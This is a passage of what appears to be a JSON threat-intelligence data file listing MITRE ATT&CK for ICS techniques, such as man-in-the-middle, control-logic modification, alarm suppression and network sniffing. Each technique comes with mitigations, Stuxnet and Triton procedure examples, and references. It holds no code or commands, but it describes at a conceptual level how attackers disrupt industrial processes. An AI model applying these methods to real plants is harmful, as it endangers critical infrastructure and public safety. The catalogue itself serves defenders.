"https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf", + "https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880", + "https://www.hydro.com/en/media/on-the-agenda/cyber-attack/" + ] + }, + "uuid": "ceee160f-8d23-41bd-b3f8-cfb87713e1a2", + "value": "Loss of View" + }, + { + "description": "Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. A MITM attack may allow an adversary to perform the following attacks: Block Reporting Message, Modify Parameter, Unauthorized Command Message, Spoof Reporting Message ", + "meta": { + "Mitigations": [ + "Encrypt and protect the integrity of wireless device communications, while taking care not to degrade end device performance. OSI Layer 2 encryption, rather than Layer 3, can reduce encryption-based latency. Hardware accelerator solutions for cryptographic functions may also be considered. Special care should be taken to ensure passwords used with encrypted, as opposed to non-encrypted protocols are not the same. Password lockout policies can be enforced, but take care to balance this with operational needs, that might result in a few failed login attempts in stressful situations.4 *Implementing Challenge/Response authentication eliminates the risk of discovery or replay that traditional password exchange has.4*Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Unauthorized and suspicious media should be avoided and kept away from systems and the network.4 *Ensure ICS and IT network cables are kept separate and that devices are locked up when possible. VPNs can be used to provide secure access from an untrusted network to the ICS control network and restrict access to and from host computers. Depending on how it is deployed, an Intrusion Detection System (IDS) might be able to detect or help with the detection of a MitM attack." + ], + "Procedure Examples": [ + "HEXANE targeted telecommunication providers in the greater Middle East, Central Asia, and Africa, potentially as a stepping stone to network-focused man-in-the-middle and related attacks.", + "Stuxnet de-couples all inputs and signals from the legitimate code on a PLC and chooses what is passed to the original code. STUXNET effectively creates a man in the middle attack with the input and output signals and control logic." + ], + "Tactic": [ + "Execution" + ], + "Technique ID": [ + "T830" + ], + "refs": [ + "https://www.sans.org/reading-room/whitepapers/ICS/man-in-the-middle-attack-modbus-tcp-illustrated-wireshark-38095", + "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258", + "https://dragos.com/resource/hexane/", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "23bcd8f2-4e1e-473b-83fa-8e895e503236", + "value": "Man in the Middle" + }, + { + "description": "Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. During the PLC scan cycle, the state of the actual physical inputs is copied to a portion of the PLC memory, commonly called the input image table. When the program is scanned, it examines the input image table to read the state of a physical input. When the logic determines the state of a physical output, it writes to a portion of the PLC memory commonly called the output image table. The output image may also be examined during the program scan. To update the physical outputs, the output image table contents are copied to the physical outputs after the program is scanned. One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status. ", + "meta": { + "Procedure Examples": [ + "PLC-Blaster may manipulate any outputs of the PLC. Using the POU POKE any value within the process image may be modified.", + "When the peripheral output is written to, sequence C intercepts the output and ensures it is not written to the process image output. The output is the instructions the PLC sends to a device to change its operating behavior. By intercepting the peripheral output, Stuxnet prevents an operator from noticing unauthorized commands sent to the peripheral." + ], + "Tactic": [ + "Inhibit Response Function" + ], + "Technique ID": [ + "T835" + ], + "refs": [ + "https://www.isa.org/standards-and-publications/isa-publications/intech/2010/december/programmable-logic-controller-hardware/", + "https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf" + ] + }, + "uuid": "08fe1ccd-247f-45a4-b4f0-4d7f8329f510", + "value": "Manipulate I/O Image" + }, + { + "description": "Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: Man-in-the-middle, Spoof command message, Changing setpoints", + "meta": { + "Procedure Examples": [ + "Industroyer toggles breakers to the open state utilizing unauthorized command messages.", + "Stuxnet can reprogram a PLC and change critical parameters in such a way that legitimate commands can be overridden or intercepted. In addition, Stuxnet can apply inappropriate command sequences or parameters to cause damage to property." + ], + "Tactic": [ + "Impact" + ], + "Technique ID": [ + "T831" + ], + "refs": [ + "Stuxnet can reprogram a PLC and change critical parameters in such a way that legitimate commands can be overridden or intercepted. In addition, Stuxnet can apply inappropriate command sequences or parameters to cause damage to property." + ] + }, + "uuid": "9366f29b-dcea-468c-bc47-579747a75978", + "value": "Manipulation of Control" + }, + { + "description": "Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. Applications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment. ", + "meta": { + "Procedure Examples": [ + "Industroyer modules operate by inhibiting the normal SCADA master communication functions and then activate a replacement master communication module managed by the malware, which executes a script of commands to issue normal protocol messages.", + "Stuxnet renames a dll responsible for handling communications with a PLC. It replaces the original .dll file with its own version that allows it to intercept any calls that are made to access the PLC.", + "The Triton malware was configured to masquerade as trilog.exe, which is the Triconex software for analyzing SIS logs." + ], + "Tactic": [ + "Evasion, Impair Process Control" + ], + "Technique ID": [ + "T849" + ], + "refs": [ + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html" + ] + }, + "uuid": "e90b468f-8789-45e2-90fc-6cab1d121283", + "value": "Masquerading" + }, + { + "description": "Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes. If an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur. In ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code. In the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the central computer.", + "meta": { + "Mitigations": [ + "Restrict access to report settings changes and automatically log any such changes, keeping actions accountable to user accounts.", + "Restrict ICS user privileges to only those necessary to perform one’s job using Role-Based Access Control (RBAC). Configure these “roles” based on the principle of least privilege. Levels of access can dictate several factors, such as the ability to view, use, and alter specific ICS data or device functions.", + "Auditing tools can provide tangible records of evidence and system integrity, and should be done on a real-time basis when feasible. 3 These tools may include monitoring of sensors, logs, Intrusion Detection Systems (IDS), antivirus, patch management, policy management software, and other security mechanisms.", + "Secure and restrict authorization to the control room and the physical environment. ICS devices should stay in their designated areas. Portable ICS assets should be secured and used only in the ICS network", + "Intrusion detection systems (IDS) monitor events on a network and ensure unusual activity is brought to attention. Comparing the reporting commands, or lack of certain reports, against the IDS can assist with detecting anomalies.", + "For instance, reporting behavior for critical or unsafe conditions and safety alarms should rarely, if ever, be turned off. Unsafe conditions coupled with no reports could indicate an attack." + ], + "Tactic": [ + "Inhibit Response Function" + ], + "Technique ID": [ + "T838" + ], + "refs": [ + "https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf", + "https://www.mitre.org/sites/default/files/pdf/08_1145.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "d3691a42-3964-4629-bd95-89ddd71e6e38", + "value": "Modify Alarm Settings" + }, + { + "description": "Adversaries may place malicious code in a system, which can cause the system to malfunction by modifying its control logic. Control system devices use programming languages (e.g. relay ladder logic) to control physical processes by affecting actuators, which cause machines to operate, based on environment sensor readings. These devices often include the ability to perform remote control logic updates. Program code is normally edited in a vendor-specific Integrated Development Environment (IDE) that relies on proprietary tools and features. These IDEs allow an engineer to perform host target development and may have the ability to run the code on the machine it is programmed for. The IDE will transmit the control logic to the testing device, and will perform the required device-specific functions to apply the changes and make them active. An adversary may attempt to use this host target IDE to modify device control logic. Even though proprietary tools are often used to edit and update control logic, the process can usually be reverse-engineered and reproduced with open-source tools. An adversary can de-calibrate a sensor by removing functions in control logic that account for sensor error. This can be used to change a control process without actually spoofing command messages to a controller or device. It is believed this process happened in the lesser known over-pressurizer attacks build into Stuxnet. Pressure sensors are not perfect at translating pressure into an analog output signal, but their errors can be corrected by calibration. The pressure controller can be told what the “real” pressure is for given analog signals and then automatically linearize the measurement to what would be the “real” pressure. If the linearization is overwritten by malicious code on the S7-417 controller, analog pressure readings will be “corrected” during the attack by the pressure controller, which then interprets all analog pressure readings as perfectly normal pressure no matter how high or low their analog values are. The pressure controller then acts accordingly by never opening the stage exhaust valves. In the meantime, actual pressure keeps rising. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community.", + "meta": { + "Mitigations": [ + "Restrict user privileges with Role-Based Access Control (RBAC). Configure and assign “roles” based on the principle of least privilege. Levels of access can dictate several factors, including the ability to view, use, and alter specific ICS data or device functions.", + "Monitor sensors, logs, Intrusion Detection Systems (IDS), antivirus, patch management, policy management software, and other security mechanisms on a real-time basis as feasible. These tools can provide tangible records of evidence and system integrity. Additionally, active log management utilities may actually flag an attack or event in progress and provide location and tracing information to help respond to the incident.", + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Avoid unauthorized and suspicious media and keep it away from systems and the network. Keep track of cables, to ensure that the ICS and IT environments remain separate and no interceptive, adversarial devices are installed.", + "Encrypt and protect the integrity of wireless device communications, while taking care not to degrade end device performance. OSI Layer 2 encryption, rather than Layer 3, can reduce encryption-based latency. Hardware accelerator solutions for cryptographic functions may also be considered. Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured.", + "Make use of antivirus and malware detection tools to further secure the environment. In particular, intrusion detection system solutions can assist with monitoring the ICS environment for unexpected or alarming behaviors." + ], + "Procedure Examples": [ + "Triton can reprogram the SIS logic to cause it to trip and shutdown a process that is, in actuality, in a safe state. In other words, trigger a false positive. Triton also can reprogram the SIS logic to allow unsafe conditions to persist. The Triton malware is able to add a malicious program to the execution table of the controller. This action leaves the legitimate programs in place. If the controller failed, Triton would attempt to return it to a running state. If the controller did not recover within a certain time window, the sample would overwrite the malicious program to cover its tracks." + ], + "Tactic": [ + "Impair Process Control, Inhibit Response Function" + ], + "Technique ID": [ + "T833" + ], + "refs": [ + "https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf", + "https://www.mitre.org/sites/default/files/pdf/08_1145.pdf", + "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "8f0ff984-424f-4c9e-b446-467f9d6493a0", + "value": "Modify Control Logic" + }, + { + "description": "Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community.", + "meta": { + "Mitigations": [ + "Restrict user privileges with Role-Based Access Control (RBAC). Configure and assign “roles” based on the principle of least privilege. Levels of access can dictate several factors, including the ability to view, use, and alter specific ICS data or device functions.", + "Access to device configuration settings should be restricted. IT products should be secured, in the most restrictive mode, on par with ICS operational requirements. Be wary of improper modifications before, during, and after system implementation.", + "Monitor system parameters for safe, expected settings and raise alerts when unsafe parameters, unexpected changes, or odd system states occur. Logging and/or associating device changes to accounts may also be beneficial, as an ICS environment rarely changes", + "Secure and restrict authorization to the control room and the physical environment. Ensure ICS and IT network cables are kept separate and that devices are locked up when possible." + ], + "Procedure Examples": [ + "In states 3 and 4 Stuxnet sends two network bursts (done through the DP_SEND primitive). The data in the frames are instructions for the frequency converter drives. For example one of the frames contains records that change the maximum frequency (the speed at which the motor will operate). The frequency converter drives consist of parameters, which can be remotely configured via Profibus. One can write new values to these parameters changing the behavior of the device." + ], + "Tactic": [ + "Impair Process Control" + ], + "Technique ID": [ + "T836" + ], + "refs": [ + "https://www.mitre.org/sites/default/files/pdf/08_1145.pdf", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "8da151db-39aa-4424-a236-415dec458799", + "value": "Modify Parameter" + }, + { + "description": "Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment. This technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. An easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the following: Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time. Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return. Random Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator. A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise. Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module.", + "meta": { + "Mitigations": [ + "Access to device configuration settings should be restricted. IT products should be secured, in the most restrictive mode, on par with ICS operational requirements.", + "Maintain and patch module firmware, checking to ensure the version and state are as expected. Firmware that requires a cryptographic key will be harder for the adversary to alter.", + "Be wary of improper modifications before, during, and after system implementation.", + "Ensure field devices require source and data authentication in order for users to update firmware and perform similar options. Enforcing proper firmware update policies and procedures may help distinguish intended update activity from malicious activity. Note that compromised devices may continue to function as expected by an asset owner, and that it is possible for many to be compromised in such a way.", + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Unauthorized and suspicious media should be avoided and kept away from systems and the network.", + "Ensure ICS and IT network cables are kept separate and that devices are locked up when possible, to reduce the likelihood they can be tampered with.", + "Hold new acquisitions to strict security requirements; be sure they are properly secured and haven’t been tampered with. Monitor existing module firmware with applicable assessments to ensure devices are at the expected versions", + "Monitor the network and enforce access control practices, such as whitelisting, to reduce points of contact to and from control system devices, where applicable. Utilize intrusion detection system (IDS) capabilities to assist with detecting and preventing the spread of malicious files", + "Limit access to the network and require authentication as a barrier. Test access to field devices from outside the network, to help determine if an adversary could reach them." + ], + "Tactic": [ + "Impair Process Control" + ], + "Technique ID": [ + "T839" + ], + "refs": [ + "https://www.researchgate.net/publication/228849043_Leveraging_ethernet_card_vulnerabilities_in_field_devices", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "08f44b76-8a2f-43d8-b51c-a18ef3e0a999", + "value": "Module Firmware" + }, + { + "description": "Adversaries may gather information about the physical process state. This information may be used to gain more information about the process itself or used as a trigger for malicious actions. The sources of process state information may vary such as, OPC tags, historian data, specific PLC block information, or network traffic. ", + "meta": { + "Mitigations": [ + "When feasible, monitor and compare ICS device behavior and physical state to expected behavior and physical state. Contingency plans should be in place to handle and minimize impact from unexpected behavior.2 The physical layout and cable setup should be monitored to detect anomalies and to prevent crossover of ICS and IT environments.", + "Access to device configuration settings should be restricted. IT products should be secured, in the most restrictive mode, on par with ICS operational requirements. Maintenance of such devices and products should be performed, keeping in mind operational concerns", + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Unauthorized and suspicious media should be avoided and kept away from systems and the network. Keeping a controlled and consistent asset inventory can assist with this", + "Special care should be taken to ensure backups and other data are restricted to authorized users and kept out of the adversary’s hands. Never use portable ICS environment assets outside of the ICS network." + ], + "Procedure Examples": [ + "Stuxnet examines fields recorded by the DP_RECV monitor to determine if the target system is in a particular state of operation." + ], + "Tactic": [ + "Collection" + ], + "Technique ID": [ + "T801" + ], + "refs": [ + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "48947a94-a769-41a8-bc13-60aecfdcfa90", + "value": "Monitor Process State" + }, + { + "description": "Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as netstat, in conjunction with System Firmware, then they can determine the role of certain devices on the network. The adversary can also use Network Sniffing to watch network traffic for details about the source, destination, protocol, and content.", + "meta": { + "Mitigations": [ + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Unauthorized and suspicious media should be avoided and kept away from systems and the network.", + "Ensure ICS and IT network cables are kept separate and that devices are locked up when possible, to reduce the likelihood they can be tampered with", + "Restrict communications to and from devices over the network with access controls, such as whitelists.", + "Utilize intrusion detection system (IDS) capabilities and heuristics to detect adversarial monitoring of the environment and modules or actions that deviate from normal functionality" + ], + "Procedure Examples": [ + "Industroyer contains an IEC 61850 module that enumerates all connected network adapters to determine their TCP/IP subnet masks." + ], + "Tactic": [ + "Discovery" + ], + "Technique ID": [ + "T840" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1049", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "96775fdf-1e64-47d6-b4bc-40d586aff9fd", + "value": "Network Connection Enumeration" + }, + { + "description": "Network Service Scanning is the process of discovering services on networked systems. This can be achieved through a technique called port scanning or probing. Port scanning interacts with the TCP/IP ports on a target system to determine whether ports are open, closed, or filtered by a firewall. This does not reveal the service that is running behind the port, but since many common services are run on specific port numbers, the type of service can be assumed. More in-depth testing includes interaction with the actual service to determine the service type and specific version. One of the most-popular tools to use for Network Service Scanning is Nmap. An adversary may attempt to gain information about a target device and its role on the network via Network Service Scanning techniques, such as port scanning. Network Service Scanning is useful for determining potential vulnerabilities in services on target devices. Network Service Scanning is closely tied to. Scanning ports can be noisy on a network. In some attacks, adversaries probe for specific ports using custom tools. This was specifically seen in the Triton and PLC-Blaster attacks.", + "meta": { + "Mitigations": [ + "Isolate wireless access points and data servers for wireless worker devices on their own network with documented and minimal (single if possible) connections to the ICS network", + "Segmenting the network with VLANs allow switches to enforce security policies and segregate traffic at the Ethernet layer. Secure and restrict authorization to the control room and the physical environment.", + "Physical control room or control systems access often implies also gaining logical access.", + "Ensure ICS and IT network cables are kept separate and that devices are locked up when possible, to reduce the likelihood they can be tampered with.", + "Monitor the network and enforce access control practices, such as whitelisting, to reduce points of contact to and from control system devices, where applicable. Utilize intrusion detection system (IDS) capabilities to assist with detecting and preventing the spread of malicious files.", + "Implement heuristics to detect monitoring and invasive probing activity on the network, such as port scanning. Filter and limit communications to and from devices. Ensure devices are patched and up-to-date." + ], + "Tactic": [ + "Discovery" + ], + "Technique ID": [ + "T841" + ], + "refs": [ + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "d9476518-569b-4baa-b01f-09d6ec61b101", + "value": "Network Service Scanning" + }, + { + "description": "Network sniffing is the practice of using a network interface on a computer system to monitor or capture information1 regardless of whether it is the specified destination for the information. An adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as Telnet, that can be captured and obtained through network packet analysis. Network sniffing can be a way to discover information for Control Device Identification. In addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.", + "meta": { + "Mitigations": [ + "Prior to wireless network installation, survey the area to determine the antenna location and strength that minimizes exposure of the network. An adversary is capable of extending the effective range of a wireless LAN with powerful directional antennas.", + "Isolate wireless access points and data servers for wireless worker devices on their own network with documented and minimal (single if possible) connections to the ICS network", + "Segmenting the network with VLANs allow switches to enforce security policies and segregate traffic at the Ethernet layer. Proper segmentation helps mitigate the risk of broadcast storms resulting from port scans. Assigning each automation cell to a single VLAN limits unnecessary traffic flooding.", + "Implement VPNs to further restrict access in and out of control system computers and controllers, which help remove unauthorized, non-essential traffic from the intermediary network.", + "In ICS environments with dial-up modems, disconnect the modems when not in use or automate their disconnection after being active for a given amount of time, if reasonable.", + "Network services will often transmit in plaintext, making third-party eavesdropping easy. When communications over both encrypted and non-encrypted protocols with passwords exist, be sure to use different passwords.", + "Implementing Challenge/Response authentication eliminates the risk of discovery or replay that traditional password exchange has.", + "Secure and restrict authorization to the control room and the physical environment. Ensure ICS and IT network cables are kept separate and that devices are locked up when possible.", + "Encrypt and protect the integrity of wireless device communications, while taking care not to degrade end device performance. OSI Layer 2 encryption, rather than Layer 3, can reduce encryption-based latency. Hardware accelerator solutions for cryptographic functions may also be considered.", + "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.", + "Make use of antivirus and malware detection tools to further secure the environment. Monitor the network and enforce access control practices, such as whitelisting, to reduce points of contact to and from control system devices, where applicable. Implement heuristics to detect monitoring and invasive probing activity on the network.", + "Identify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting6 tools, like AppLocker,78 or Software Restriction Policies9 where appropriate." + ], + "Procedure Examples": [ + "DP_RECV is the name of a standard function block used by network coprocessors. It is used to receive network frames on the Profibus – a standard industrial network bus used for distributed I/O. The original block is copied to FC1869, and then replaced by a malicious block. Each time the function is used to receive a packet, the malicious Stuxnet block takes control: it will call the original DP_RECV in FC1869 and then perform postprocessing on the packet data. This secondary thread is used to monitor a data block DB890 of sequence A or B. Though constantly running and probing this block (every 5 minutes), this thread has no purpose if the PLC is not infected. The purpose of the thread is to monitor each S7-315 on the bus. The replaced DP_RECV block (later on referred to as the “DP_RECV monitor”) is meant to monitor data sent by the frequency converter drives to the 315-2 CPU via CP 342-5 Profibus communication modules.", + "The VPNFilter packet sniffer looks for basic authentication as well as monitors ICS traffic, and is specific to the TP-LINK R600-VPN. The malware uses a raw socket to look for connections to a pre-specified IP address, only looking at TCP packets that are 150 bytes or larger. Packets that are not on port 502, are scanned for BasicAuth, and that information is logged. This may have allowed credential harvesting from communications between devices accessing a modbus-enabled HMI." + ], + "Tactic": [ + "Discovery" + ], + "Technique ID": [ + "T842" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1040", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://blog.talosintelligence.com/2018/06/vpnfilter-update.html", + "https://www.youtube.com/watch?v=yuZazP22rpI", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "uuid": "7bccc6c8-43eb-4d26-ba17-98167a068627", + "value": "Network Sniffing" + }, + { + "description": "Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables.1 Tags are the identifiers given to points for operator convenience. Collecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation. ", + "meta": { + "Procedure Examples": [ + "Backdoor.Oldrea enumerates all OPC tags and queries for specific fields such as server state, tag name, type, access, and id" + ], + "Tactic": [ + "Collection" + ], + "Technique ID": [ + "T861" + ], + "refs": [ + "Backdoor.Oldrea enumerates all OPC tags and queries for specific fields such as server state, tag name, type, access, and id", + "https://www.fireeye.com/blog/threat-research/2014/07/havex-its-down-with-opc.html" + ] + }, + "uuid": "6b1da46d-fbe4-4b84-a4e1-1ece7daf6a93", + "value": "Point & Tag Identification" + }, + { + "description": "Adversaries may perform a program download to load malicious or unintended program logic on a device as a method of persistence or to disrupt response functions or process control. Program download onto devices, such as PLCs, allows adversaries to implement custom logic. Malicious PLC programs may be used to disrupt physical processes or enable adversary persistence. The act of a program download will cause the PLC to enter a STOP operation state, which may prevent response functions from operating correctly. ", + "meta": { + "Procedure Examples": [ + "Stuxnet infects PLCs with different code depending on the characteristics of the target system. An infection sequence consists of code blocks and data blocks that will be downloaded to the PLC to alter its behavior.", + "Triton leveraged the TriStation protocol to download programs onto Triconex Safety Instrumented System." + ], + "Tactic": [ + "Persistence, Impair Process Control, Inhibit Response Function" + ], + "Technique ID": [ + "T843" + ], + "refs": [ + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware" + ] + }, + "uuid": "53f180f4-9093-4d1e-8372-3e10943b820e", + "value": "Program Download" + }, + { + "description": "Program Organizational Units (POUs) are block structures used within PLC programming to create programs and projects. POUs can be used to hold user programs written in IEC 61131-3 languages: Structured text, Instruction list, Function block, and Ladder logic. They can also provide additional functionality, such as establishing connections between the PLC and other devices using TCON. Stuxnet uses a simple code-prepending infection technique to infect Organization Blocks (OB). For example, the following sequence of actions is performed when OB1 is infected: Increase the size of the original block. Write malicious code to the beginning of the block. Insert the original OB1 code after the malicious code.", + "meta": { + "Procedure Examples": [ + "PLC-Blaster copies itself to various Program Organization Units (POU) on the target device. The POUs include the Organization Block, Data Block, Function, and Function Block.", + "Stuxnet infects PLCs with different code depending on the characteristics of the target system. An infection sequence consists of code blocks and data blocks that will be downloaded to the PLC to alter its behavior." + ], + "Tactic": [ + "Lateral Movement, Execution" + ], + "Technique ID": [ + "T844" + ], + "refs": [ + "Stuxnet infects PLCs with different code depending on the characteristics of the target system. An infection sequence consists of code blocks and data blocks that will be downloaded to the PLC to alter its behavior.", + "https://cdn.selinc.com/assets/Literature/Publications/Technical%20Papers/6560_PracticalApplications_MW_20120224_Web.pdf?v=20151125-003051", + "https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf" + ] + }, + "uuid": "326ade02-552b-4c68-b4e4-f41599b49a32", + "value": "Program Organization Units" + }, + { + "description": "Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device. ", + "meta": { + "Procedure Examples": [ + "Stuxnet replaces the DLL responsible for reading projects from a PLC to the step7 software. This allows Stuxnet the ability to upload a program from the PLC." + ], + "Tactic": [ + "Collection" + ], + "Technique ID": [ + "T845" + ], + "refs": [ + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf" + ] + }, + "uuid": "1931da8b-1781-480b-b7db-26b7c432821c", + "value": "Program Upload" + }, + { + "description": "Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating 